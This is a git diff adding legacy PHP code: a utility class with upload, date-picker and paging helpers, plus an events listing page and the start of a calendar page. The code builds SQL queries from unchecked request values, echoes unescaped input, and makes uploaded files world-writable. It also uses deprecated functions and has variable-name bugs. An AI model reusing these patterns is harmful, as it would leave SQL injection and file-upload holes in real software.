+
+               $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+               return($img_resize_array);
+       }
+
+       /**
+       * img_upload :Function moves the image to the destination directory 
+       Checking to make sure that it does not have same named file in dicectory.                       
+       Image must be either jpg ,png or gif format file to be uploaded.
+       * @param string $form_field: $form_field of image
+       * @param string $img_name: $form_field of image with _name
+       * @param string $destination_path : path to store uploaded image
+       * 
+       * @return array $img_upload_array
+       * @access public 
+       **/
+       function img_upload($form_field,$img_name,$destination_path) 
+       {
+               if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name)) 
+               {
+                       $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+               }
+
+               $size = getImageSize($form_field);
+
+               if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 ) 
+               {
+                       $img_name_in_use = "FALSE";
+                       if( file_exists(RESIZED_PATH.$img_name) )
+                       {
+                               $img_name_in_use = "TRUE";
+                       }
+
+                       if ($img_name_in_use == "TRUE") 
+                       {
+                               $new_img_name = mktime().$img_name;
+                               $new_img_location = $destination_path.'/'.$new_img_name;
+
+                               copy($form_field,$new_img_location);
+
+                               chmod($new_img_location, 0666);
+
+                               $img_upload_array = array("$new_img_name","$new_img_location");
+                       }
+                       else 
+                       {
+                               $new_img_name = $img_name;
+                               $new_img_location = $destination_path.'/'.$new_img_name;
+
+                               copy($form_field,$new_img_location);
+
+                               chmod($new_img_location, 0666);
+
+                               $img_upload_array = array("$new_img_name","$new_img_location");
+                       }
+               }
+               else 
+               {
+                       echo '<p style="background-color:red;color:white;">'
+                       .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                       .'<BR CLEAR=ALL>'
+                       .'</p>'
+                       ."Hit your browser's back button to continue"
+                       .'<P>';
+                       $error[0] = "ERROR";
+                       return($error);
+               }
+
+               return($img_upload_array);
+       }
+
+       /**
+       * file_upload :Uploads a file same way as image_uploads does
+       * @param string $form_field: $form_field of image
+       * @param string $file_name: $form_field of image with _name
+       * @param string $destination_path : path to store uploaded image
+       * 
+       * @return string $file_upload
+       * @access public 
+       **/
+       function file_upload($form_field,$file_name,$destination_path) 
+       {
+               if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name)) 
+               {
+                       $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+               }
+
+               $file_name_in_use = "FALSE";
+               if( file_exists(UP_BASE.$file_name) )
+               {
+                       $img_name_in_use = "TRUE";
+               }
+
+               if ($file_name_in_use == "TRUE") 
+               {
+                       $new_file_name = mktime().$file_name;
+                       $new_file_location = $destination_path.'/'.$new_file_name;
+
+                       copy($form_field,$new_file_location);
+
+                       chmod($new_file_location, 0666);
+
+                       $file_upload = $new_file_name;
+               }
+               else 
+               {
+                       $new_file_name = $file_name;
+                       $new_file_location = $destination_path.'/'.$new_file_name;
+
+                       copy($form_field,$new_file_location);
+
+                       chmod($new_file_location, 0666);
+
+                       $file_upload = $new_file_name;
+               }
+               return($file_upload);
+       }
+
+       /* Misc. Functions */
+
+       /**
+       * http_strip :Strips the http:// part from start of string
+       * @param string $string : $string
+       * 
+       * @return string $stirng minus http:// in front
+       * @access public 
+       **/
+       function http_strip(&$string) 
+       {
+               $test_string = strtolower($string);
+               if(substr($test_string,0,7) == "http://") 
+               {
+                       $string = substr($string,7);
+               }
+       }
+
+       /**
+       * footer 
+       * 
+       * used for admin page footer to close out the top function 
+       * 
+       * @access public
+       * @return void
+       */
+       function footer() 
+       {
+               $out = '
+       </body>
+</html>
+';
+}
+
+       /**
+       * top 
+       * 
+       * Output the starting html and admin table tags
+       * 
+       * @param mixed $message 
+       * @param mixed $hp 
+       * @param mixed $hp2 
+       * @access public
+       * @return void
+       */
+       function top($message, $hp,$hp2 = NULL) 
+       {
+               $out = '
+               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+               "http://www.w3.org/TR/html4/strict.dtd">
+               <html>
+                       <head>
+                               <title>Untitled</title>
+                               <meta http-equiv="content-type" content="text/html;charset=utf-8">
+                               <link rel="stylesheet" type="text/css" href="../main.css">
+                               <script type="text/javascript" src="event.js"></script>
+                       </head>
+                       <body>
+                               <h1>'.$message.'</h1>   
+                               ';
+               echo $out;
+       }
+
+       /**
+       * top2 
+       * 
+       * top2 : alias to top()
+       * 
+       * @param mixed $message 
+       * @param mixed $hp 
+       * @param mixed $hp2 
+       * @uses GLM_TOOLBOX::top()
+       * @access public
+       * @return void
+       */
+       function top2($message, $hp,$hp2 = NULL) 
+       {
+               // make this an alias to top()
+               // by calling top instead of adding extra code
+               GLM_TOOLBOX::top($message,$hp,$hp2);
+
+       }
+
+       /**
+       * htmlcode: Output code to enable htmlarea for the page
+       * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+       * @param mixed $w = 570: width of htmlarea in px
+       * @param mixed $h = 400: height of htmlarea in px
+       * 
+       * @return void
+       * @access public 
+       **/
+       function htmlcode($w = 570,$h = 400)
+       {
+               echo '
+               <style type="text/css">
+                       /*<![CDATA[*/
+                       <!--
+                       .textarea { height: '.$h.'px; width: '.$w.'px; } 
+                       -->
+                       /*]]>*/
+               </style>
+               <script type="text/javascript">
+                       //<![CDATA[
+                       _editor_url = "'.URL_BASE.'admin/htmlarea";
+                       _editor_lang = "en";
+                       //]]>
+               </script><!-- load the main HTMLArea file -->
+               <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+               </script>
+               ';
+               echo '
+               <script type="text/javascript">
+                       //<![CDATA[
+
+                       ';
+                       if( HTMLAREA_CONTEXT_MENU )
+                       {
+                               echo '
+                               HTMLArea.loadPlugin("ContextMenu");
+                               ';
+                       }
+                       if( HTMLAREA_TABLES )
+                       {
+                               echo '
+                               HTMLArea.loadPlugin("TableOperations");
+                               ';
+                       }
+                       echo '
+                       initdocument = function () {
+                               var editor = new HTMLArea("description");
+
+                               ';
+
+                               echo '
+                               editor.config.toolbar = [
+                               [ "fontname", "space",
+                               "fontsize", "space",
+                               "formatblock", "space",
+                               "bold", "italic", "underline", "separator" ],
+
+                               [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+                               "insertorderedlist", "insertunorderedlist", "outdent", "indent", "separator",
+                               "forecolor", "separator",
+                               "inserthorizontalrule", "createlink"';
+                               if( HTMLAREA_TABLES )
+                               {
+                                       echo ', "inserttable"';
+                               }
+                               echo ', "htmlmode", "separator",
+                               "copy", "cut", "paste", "space", "undo", "redo" ]
+                               ];      
+                               ';
+                               if( HTMLAREA_CONTEXT_MENU )
+                               {
+                                       echo '
+                                       // add a contextual menu
+                                       editor.registerPlugin("ContextMenu");
+                                       ';
+                               }
+                               echo '
+
+                               // load the stylesheet used by our CSS plugin configuration
+                               //editor.config.pageStyle = "@import url(../../styles.css);";
+                               ';
+                               if( HTMLAREA_TABLES )
+                               {
+                                       echo '
+
+                                       // register the TableOperations plugin
+                                       editor.registerPlugin(TableOperations); 
+                                       ';
+                               }
+                               echo '
+                               editor.generate();
+                       } 
+                       function addEvent(obj, evType, fn)
+                       { 
+                               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                               else {  return false; } 
+                       } 
+                       addEvent(window, \'load\', initdocument);
+                       //]]>
+               </script>       
+               ';
+       }
+
+       /**
+       * date_entry : Generate the select boxes for date entry
+       * month-day-year as drop down select
+       * @param mixed $month: 
+       * @param mixed $day: 
+       * @param mixed $year: 
+       * @param mixed $month_name: name of select month 
+       * @param mixed $day_name: name of select day 
+       * @param mixed $year_name : name of select year
+       * 
+       * @return string
+       * @access public 
+       **/
+       function date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+       {
+               $cur_date = getdate();
+
+               if($month == "") 
+               {
+                       $month = $cur_date['mon'];
+               }
+               if($day == "") 
+               {
+                       $day = $cur_date['mday'];
+               }       
+               if($year == "") 
+               {
+                       $year = $cur_date['year'];
+               }
+               $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+               $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+               $date .= '<SELECT NAME="'.$year_name.'">';
+                       for($i=2000;$i<2023;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+               return $date;   
+       }       
+
+       /**
+       * contact_date_entry : build select boxes for date entry going backwords in years
+       * @param mixed $month: 
+       * @param mixed $day: 
+       * @param mixed $year: 
+       * @param mixed $month_name: name of select month
+       * @param mixed $day_name: name of select day
+       * @param mixed $year_name : name of select year
+       * 
+       * @return void
+       * @access public 
+       **/
+       function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+       {
+               $cur_date = getdate();
+
+               if($month == "") 
+               {
+                       $month = $cur_date['mon'];
+               }
+               if($day == "") 
+               {
+                       $day = $cur_date['mday'];
+               }       
+               if($year == "") 
+               {
+                       $year = $cur_date['year'];
+               }
+               $date = '<SELECT NAME="'.$month_name.'">';
+               for($i=1;$i<13;$i++) 
+               {
+                       $date .= '<OPTION VALUE="';
+                       if($i < 10)
+                       {
+                               $date .= "0";
+                       }
+                       $date .= $i.'"';
+                       if($i == $month) 
+                       {
+                               $date .= ' SELECTED';
+                       }
+                       $date .= '>'.$i;        
+               }
+               $date .= '</SELECT>';
+               $date .= '<SELECT NAME="'.$day_name.'">';
+               for($i=1;$i<32;$i++) 
+               {
+                       $date .= '<OPTION VALUE="';
+                       if($i < 10) 
+                       {
+                               $date .= "0";
+                       }
+                       $date .= $i.'"';
+                       if($i == $day) 
+                       {
+                               $date .= ' SELECTED';
+                       }
+                       $date .= '>'.$i;        
+               }       
+               $date .= '</SELECT>';
+               $date .= '<SELECT NAME="'.$year_name.'">';
+               $ystart = $cur_date['year'] - 10;
+               for($i=$ystart;$i<=$year;$i++) 
+               {
+                       $date .= '<OPTION VALUE="'.$i.'"';
+                       if($i == $year) 
+                       {
+                               $date .= ' SELECTED';
+                       }
+                       $date .= '>'.$i;
+               }
+               $date .= '</SELECT>';
+               return $date;
+       }
+
+       /**
+        * time_entry 
+        * 
+        * build select boxes for time entry
+        * 
+        * @param mixed $H 
+        * @param mixed $m 
+        * @param mixed $F 
+        * @param mixed $H_name 
+        * @param mixed $m_name 
+        * @param mixed $F_name 
+        * @access public
+        * @return void
+        */
+       function time_entry( $H, $m, $F, $H_name, $m_name, $F_name ) 
+       {
+               $cur_date = getdate();
+               if($H == "") 
+               {
+                       $H = $cur_date['hours'];
+               }
+               if($m == "") 
+               {
+                       $m = $cur_date['minutes'];
+               }       
+               if($H>12) 
+               {
+                       $F = "PM";
+                       $H = $H - 12;
+               }
+               $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+               for($i=1;$i<=12;$i++) 
+               {
+                       $time .= "<option value=\"";
+                       if($i < 10)
+                       {
+                               $time .= "0";
+                       }
+                       $time .= "$i\"";
+                       if($i == $H) 
+                       {
+                               $time .= " selected";
+                       }
+                       $time .= ">$i\n";       
+               }
+               $time .= "</select>\n";
+               $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+               for($i=0;$i<60;$i=$i+15) 
+               {
+                       $time .= "<Option value=\"";
+                       if($i < 10) 
+                       {
+                               $time .= "0";
+                       }
+                       $time .= "$i\"";
+                       if($i == $m) 
+                       {
+                               $time .= " selected";
+                       }
+                       $time .= ">";
+                       if($i < 10) 
+                       {
+                               $time .= "0";
+                       }
+                       $time .= "$i\n";        
+               }       
+               $time .= "</select>";
+               $time .= "<select name=\"$F_name\" size=\"1\">";
+               $time .= "<option value=\"AM\"";
+               if($F == "AM") 
+               {
+                       $time .= " selected";
+               }
+               $time .= ">AM\n";
+               $time .= "<option value=\"PM\"";
+               if($F == "PM") 
+               {
+                       $time .= " selected";
+               }
+               $time .= ">PM\n";
+               $time .= "</select>\n";
+               return $time;
+       }
+
+       /**
+        * get_parentid 
+        * 
+        * get the (highest level) parent category for this id
+        * 
+        * @param mixed $id 
+        * @access public
+        * @return void
+        */
+       function get_parentid( $id )
+       {
+               static $parentshow;
+               if( $id == 0 )
+               {
+                       return( 0 );            
+               }
+               if(!is_array($parentshow))
+               {
+                       $qs = "select parent from bus_category where id = $id";
+                       $parentrow = GLM_TOOLBOX::db_auto_get_data( $qs );        
+               }
+               if($parentrow[0]['parent'] == 0)
+               {
+                       return($id);
+               }
+               else
+               {
+                       return( GLM_TOOLBOX::get_parentid($parentrow[0]['parent']) );
+               }
+       }
+
+       /**
+        * build_picklist 
+        * 
+        * Builds a pick list from an array
+        * 
+        * @param mixed $fieldname 
+        * @param mixed $data 
+        * @param mixed $selected 
+        * @param string $type 
+        * @param int $auto 
+        * @param mixed $width 
+        * @access public
+        * @return void
+        */
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               if(!is_array($selected))
+               {
+                       $sel[0] = $selected;
+               }
+               else
+               {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+               $autosubmit = "onChange=\"form.submit()\"";
+               if($width)
+               $autosubmit .= "style=\"width:".$width."px;\"";
+               switch( $type )
+               {
+                       case "multiple":
+                       $str = "<select name=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " selected ";
+                                       }
+                                       else
+                                       $select = "";
+                                       $str .= "       <option value=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                               case "simple":
+                               $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+                                       for( $i=0 ; $i<count($data) ; $i++ ) 
+                                       {
+                                               $select = (in_array($data[$i],$sel)) ? " selected ":"";
+                                               $str .= "       <option value=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                                       }
+                                       break;
+
+                                       case "standard":
+                                       default:
+                                       $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+                                               while( list($key, $val) = each($data) ) 
+                                               {
+                                                       $select = (in_array($key,$sel)) ? " selected ":"";
+                                                       $str .= "       <option value=\"$key\"".$select.">$val\n";
+                                               }
+                                               break;
+                                       }
+                                       $str .= "</select>\n";
+
+                               return( $str );
+
+                       }
+
+                       /**
+                       * create_page_links:Create prev and next links 
+                       * to page through the results.
+                       * @param mixed $totalnum: The total result of the query
+                       * @param mixed $num: The total result for the page
+                       * @param mixed $start=0: The starting num defaults to 0
+                       * @param mixed $params: variables to add to the url
+                       * @param mixed $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+                       * 
+                       * @return string of links 
+                       * @access public 
+                       **/
+                       function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+                       {
+                               // FIND out which page we're on.
+                               if($totalnum!=0)
+                               {  
+                                       $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                                       $total_pages++;                                                                         // then add one
+                                       if($start == 0)                                                                         // if start is 0 then page is one
+                                       {
+                                               $page = 1;                                                                              
+                                       }
+                                       else    
+                                       {
+                                               $page = ($start / $page_length) + 1;
+                                       }
+                               }
+
+                               if($totalnum > $page_length && ( $page != $totalpages ) )
+                               {
+                                       $end = $page_length + $start;
+                               }
+                               else
+                               {
+                                       $end = $totalnum;
+                               }
+                               $last = $start - $page_length;  
+                               if(($start - $page_length) < 0)
+                                       $prev = "";
+                               else    
+                                       $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                               href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                                               class=\"accenttext\"> ]</span>";
+                               if($end < $totalnum)
+                                       $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                               href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                                               class=\"accenttext\"> ]</span>";
+                               else    
+                                       $next = "";
+                               $starting = $start + 1; 
+                               $last_c = $start + $num;
+                               $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                                       class="accenttext">'.$starting.' to '.$last_c.'</span>
+                                       <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                                       class="pagetitle"></span> '.$next.'<BR></span></center>';       
+                               return($links);
+               }
+
+               /**
+                * valid_email 
+                * Checks for a valid format and good (mx check) email address.
+                * 
+                * @param mixed $email 
+                * @access public
+                * @return void
+                */
+               function valid_email($email) 
+               {
+                       // First, we check that there's one @ symbol, and that the lengths are right
+                       if (!ereg("^[^@]{1,64}@[^@]{1,255}$", $email)) 
+                       {
+                               // Email invalid because wrong number of characters in one section, or wrong number of @ symbols.
+                               return false;
+                       }
+                       // Split it into sections to make life easier
+                       $email_array = explode("@", $email);
+                       $local_array = explode(".", $email_array[0]);
+                       for ($i = 0; $i < sizeof($local_array); $i++) 
+                       {
+                               if (!ereg("^(([A-Za-z0-9!#$%&'*+/=?^_`{|}~-][A-Za-z0-9!#$%&'*+/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$", $local_array[$i])) 
+                               {
+                                       return false;
+                               }
+                       }  
+                       if (!ereg("^\[?[0-9\.]+\]?$", $email_array[1])) 
+                       { 
+                               // Check if domain is IP. If not, it should be valid domain name
+                               $domain_array = explode(".", $email_array[1]);
+                               if (sizeof($domain_array) < 2) 
+                               {
+                                       return false; // Not enough parts to domain
+                               }
+                               for ($i = 0; $i < sizeof($domain_array); $i++) 
+                               {
+                                       if (!ereg("^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$", $domain_array[$i])) 
+                                       {
+                                               return false;
+                                       }
+                               }
+                       }
+                       return true;
+               }
+       }
+                       ?>
diff --git a/classes/glm-Events-2-0.phtml b/classes/glm-Events-2-0.phtml
new file mode 100755 (executable)
index 0000000..8589b3a
--- /dev/null
@@ -0,0 +1,320 @@
+<?php
+/**
+ * Instructions -                                                             
+ * three arrays are used                                                      
+ * $row[$i][fields]                                                           
+ * $date_begin[$i][fields]                                                    
+ * $date_end[$i][fields]                                                      
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @author Steve Sutton
+ * @filesource
+ */
+echo '<link rel="stylesheet" type="text/css" href="events.css">';
+if(!$dbd = db_connect())
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+$month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+// Set up the $selection array to get a query box use only item fields
+$selection = array( );
+// Month part do not change
+$qs = "SELECT  bdate,date_part('month', bdate) as d1_month,
+       date_part('month', edate) as d2_month,
+       date_part('year', bdate) as d1_year,
+       date_part('year', edate) as d2_year
+       FROM    event
+       WHERE   edate > CURRENT_DATE
+       AND     visable = 't'
+       ORDER BY bdate ASC;";
+       $result = db_Exec($dbd,$qs);
+if(!$result) 
+       {
+               html_error(DB_ERROR_MSG.$qs,0);
+       }
+echo "<br><a name=\"event\"></a>";
+echo "<form action=\"$PHP_SELF#event\" method=\"POST\">";
+echo '<input type="hidden" name="catid" value="'.$GLOBALS["catid"].'">';
+for($i=0;$i<pg_numrows($result);$i++) 
+       {
+               $data = db_fetch_array($result,$i,PGSQL_ASSOC); 
+               $s_month = $data['d1_month'];
+               $s_year = $data['d1_year'];
+               $e_month = $data['d2_month'];
+               $e_year = $data['d2_year'];
+               $watchdog = 20; 
+               for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) 
+               {
+                       if( $m == 13 ) 
+                       {
+                               $y++;
+                               $m = 1;
+                       }
+                       $emonth = sprintf( "%02d %04d", $m, $y );
+                       if( !isset($emonths["$emonth"]) )
+                       {
+                               $emonths["$emonth"] = 0;
+                       }
+                       $emonths["$emonth"]++;
+                       if( $watchdog-- == 0 )
+                       {
+                               break 1;
+                       }
+                       $m++;
+               }
+       }
+// Selections part
+while( list($key,$value) = each($selection))
+       {
+               $qs = "SELECT  
+                       DISTINCT $key
+                       FROM    event
+                       WHERE   visable = 't'
+                       AND             edate >= CURRENT_DATE
+                       ORDER BY $key;";
+               $result = db_exec($dbd,$qs);
+               if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+               echo "<select name=\"$key\">
+                       <option value=\"All\" selected>Show All $value\n";
+
+               for ($i=0;$i<pg_numrows($result);++$i)
+               {
+                       $data = pg_result($result,$i,$key);
+                       if($data != "")
+                       {
+                               echo "<option value=\"$data\">$data\n"; 
+                       }
+               }
+
+               echo "</select>\n";
+       }
+// topic part 
+$qs = "SELECT  
+DISTINCT       ON (t.descr) t.id,t.descr  
+FROM   topic t, event e
+WHERE  e.visable = 't'
+AND            e.edate >= CURRENT_DATE
+AND            e.topicid = t.id        
+ORDER BY t.descr";
+$result = db_exec($dbd,$qs);
+if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+echo "<select name=\"topic\">
+<option value=\"All\" selected>Show All Topics\n";
+
+for ($i=0;$i<pg_numrows($result);++$i)
+       {
+               $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+               if($data != "")
+               {
+                       echo "<option value=\"$data[id]\">$data[descr]\n"; 
+               }
+       }
+
+echo "</select>\n";
+// Month part (output)
+$month_qs = "SELECT 
+DISTINCT       bdate
+FROM           event
+WHERE          visable = 't'
+AND            edate >= CURRENT_DATE
+ORDER BY       bdate;";        
+
+$result = db_exec($dbd, $month_qs);
+if(!$result) html_error(DB_ERROR_MSG.$month_qs,0);
+echo "<select name=\"month\">
+<option value=\"All\" selected>Show All Months\n";
+if(isset($emonths) && is_array($emonths)) 
+       {
+               for(reset($emonths);$key=key($emonths);next($emonths)) 
+               {
+                       $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+                       $now = mktime(0,0,0,date("m"),1,date("Y"));
+                       if($date>=$now)
+                       {
+                               echo "<option value=\"$key\">";
+                               $m = substr( $key, 0, 2 );
+                               echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+                       }
+               }
+       }       
+
+?>
+<!--- #EndCalendarofEventsSearch -->
+</select>
+<input type="SUBMIT" value="GO" name="SUBMIT">
+</form>
+       <?
+if(!isset($month))
+       {
+               $month = "All";//date("m Y");
+       }
+if(!$_POST["topic"] && !$_POST["month"])
+       {
+               $stick = " LIMIT 1 OFFSET 1";
+       }
+$qs = " SET DATESTYLE TO 'SQL,US'; SELECT *    
+       FROM    event
+       WHERE   visable = 't'";
+       if(isset($topic) && $topic != "All")
+       {
+               $qs .= "\nAND   topicid = $topic";
+       }
+if($month != "All")
+       {
+               if(!is_numeric($month))
+               {
+                       $m = substr($month,0,2);
+                       $y = substr($month,3,4);
+                       $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+                       $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+               }
+               else
+               {
+                       $m = (int)$month;
+                       if( !$GLOBALS['year'] )
+                       {
+                               $y = date("Y");
+                       }
+                       $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+                       $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+               }
+               $qs .= "\nAND   edate >= '$smonth' 
+                       AND     bdate <= '$emonth'";
+       }
+else
+{
+       $qs .= " AND            edate >= CURRENT_DATE ";
+}
+$qs .= "\nORDER BY     bdate ASC $stick";
+if(!$res = db_exec($dbd,$qs)) 
+       {
+               html_error(DB_ERROR_MSG.$qs,0);
+       }
+while($result = pg_fetch_array($res))
+       {
+               $datares[] = $result;
+       }
+if(is_array($datares))
+       {
+               foreach($datares as $eventkey=>$eventval)
+               {
+                       //$eventrow["$eventval[mon]"][] = $datares[$eventkey];  
+                       $mon = date("m",strtotime($eventval['bdate']));
+                       $mon2 = date("m",strtotime($eventval['edate']));
+                       for($i = (int)$mon;$i <= (int)$mon2;$i++)
+                       {
+                               // if month exists then only show that month
+                               
+                               if($month == "All" || ( (int)$month == (int)$i ) )
+                               {
+                                       $eventrow["$i"][] = $datares[$eventkey];        
+                               }
+                       }
+               }
+       }
+if(is_array($eventrow))
+       {
+               $display_month = "";
+               foreach($eventrow as $ekey=>$row)
+               {
+                       if((int)$display_month != (int)$ekey)
+                       {
+                               echo '<h1 class="eventh1">'.date("F",mktime(0,0,1,$ekey,1,date("Y"))).'</h1>';
+                       }
+                       $display_month = (int)$ekey;
+                       //foreach($row as $key=>$value)
+                       //{
+                               echo $this->make_events($row);
+                       //}
+               }
+               /*
+                       foreach($row as $key=>$value)
+                       {
+                               if($value['sdate'])
+                               {
+                                               $sdate = strtotime($value["sdate"]);
+                                               $edate = strtotime($value["edate"]);
+                                               $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               }
+                               else
+                               {
+                                       $thedata = '';
+                               }
+                               if($value['img']) 
+                               {
+                                       $img = "<img src=\"".MIDSIZED.$value['img']."\" align=\"right\" vspace=\"5\" hspace=\"7\">";
+                               }
+                               else 
+                               {
+                                       $img = "";      
+                               }
+                               if($value['email'] && $value['contact']) 
+                               {
+                                       $email = "Contact: <a class=\"link\" href=\"mailto:".$value['email']."\">".$value['contact']."</a><br>";
+                               }
+                               elseif($value['email'] && !$value['contact']) 
+                               {
+                                       $email = "Contact:<a class=\"link\" href=\"mailto:".$value['email']."\">".$value['email']."</a><br>";
+                               }
+                               elseif($value['contact'] && !$value['email']) 
+                               {
+                                       $email = "Contact:>".$value['contact']."<br>";
+                               }
+                               else 
+                               {
+                                       $email = "";    
+                               }
+                               if($value['url']) 
+                               {
+                                       $url = "<div class=\"eventurl\">Web Site: <a class=\"link\" href=\"http://".$value['url']."\"
+                                               target=\"_BLANK\">".$value['url']."</a></div>";
+                               }
+                               else 
+                               {
+                                       $url = "";      
+                               }
+                               if($value['btime'] && $value['etime']) 
+                               {
+                                       $time = "Time: ".GLM_EVENTS::format_to_time($value['btime'])." To ".GLM_EVENTS::format_to_time($value['etime'])."<br>";         
+                               }
+                               elseif($value['btime'] && !$value['etime']) 
+                               {
+                                       $time = "Time: ".GLM_EVENTS::format_to_time($value['btime'])."<br>";            
+                               }
+                               else 
+                               {
+                                       $time = "";             
+                               }
+                               if($img)
+                               {
+                                       echo $img;
+                               }
+                               echo "<div class=\"eventheader\"><b>".$value['header']."</b></div>";
+                               echo '<div><span class="eventdate">'.$thedate.' </span></div>';
+                               echo "<div class=\"text\">".$time."</div>";
+                               if($value['topic'])
+                               {
+                                       echo "<div class=\"text\">Topic:".$value['topic']."</div>";
+                               }
+                               if($value['loc'])
+                               {
+                                       echo '<span class="eventloc">Location: </span><span
+                                               class="eventvalue">'.$value['loc']."<span><br>";
+                               }
+                               echo $email."<div class=\"text\">";
+                               if($value['descr'])
+                               {
+                                       echo nl2br($value['descr']);
+                               }
+                               echo $url."<br clear=\"all\">";
+                               //if(!$eventid)
+                               //echo "</div><div class=\"homeeventmore\"><a
+                               //      href=\"events.phtml?pink=$pink&eventid=$value[id]\">details...</a></div><br clear=\"all\">";
+                       }
+               */
+               //}
+       }
+?>
diff --git a/classes/glm-Events-calendar-2-0.phtml b/classes/glm-Events-calendar-2-0.phtml
new file mode 100755 (executable)
index 0000000..1116af2
--- /dev/null
@@ -0,0 +1,564 @@
+<?
+/**
+ *     Event Calendar display
+ * used by class_events.inc to display colanedar output.
+ *     
+ * @package Toolbox
+ * @subpackage Event
+ * @author Steve Sutton
+ * @filesource
+ */ 
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+$dbd = db_connect(CONN_STR);
+/**
+ * GetTimeStamp 
+ * Get unix timestamp from sql date
+ * 
+ * @param mixed $MySqlDate 
+ * @access public
+ * @return void
+ */
+function GetTimeStamp($SqlDate)
+{
+       $date_array = explode("-",$SqlDate); // split the array
+
+       $var_year = $date_array[0];
+       $var_month = $date_array[1];
+       $var_day = $date_array[2];
+
+       $var_timestamp = mktime(0,0,0,$var_month,$var_day,$var_year);
+       return($var_timestamp); // return it to the user
+}  
+/**
+ * ordinalDay 
+ * get ordinal (th) day for given timestamp
+ * 
+ * @param mixed $ord 
+ * @param mixed $day 
+ * @param mixed $month 
+ * @param mixed $year 
+ * @access public
+ * @return void
+ */
+function ordinalDay($ord, $day, $month, $year)
+{
+       $firstOfMonth = GetTimeStamp("$year-$month-01");
+       $lastOfMonth  = $firstOfMonth + date("t", $firstOfMonth) * 86400;
+       $dayOccurs = 0;
+
+       for ($i = $firstOfMonth; $i < $lastOfMonth ; $i += 86400)
+       {
+               if (date("w", $i) == $day)
+               {
+                       $dayOccurs++;
+                       if ($dayOccurs == $ord)
+                       { 
+                       $ordDay = $i; 
+                       }
+               }
+       }
+       return $ordDay;
+}  
+/**
+ * lastDoyOfMonth
+ *
+ * <p>given timestamp get the last day of the month it 
+ * fall in</p>
+ * 
+ * @param string $timestamp
+ * @return string timestamp
+ */
+function lastDayOfMonth($timestamp = ''){
+       if($timestamp=='') $timestamp=time();
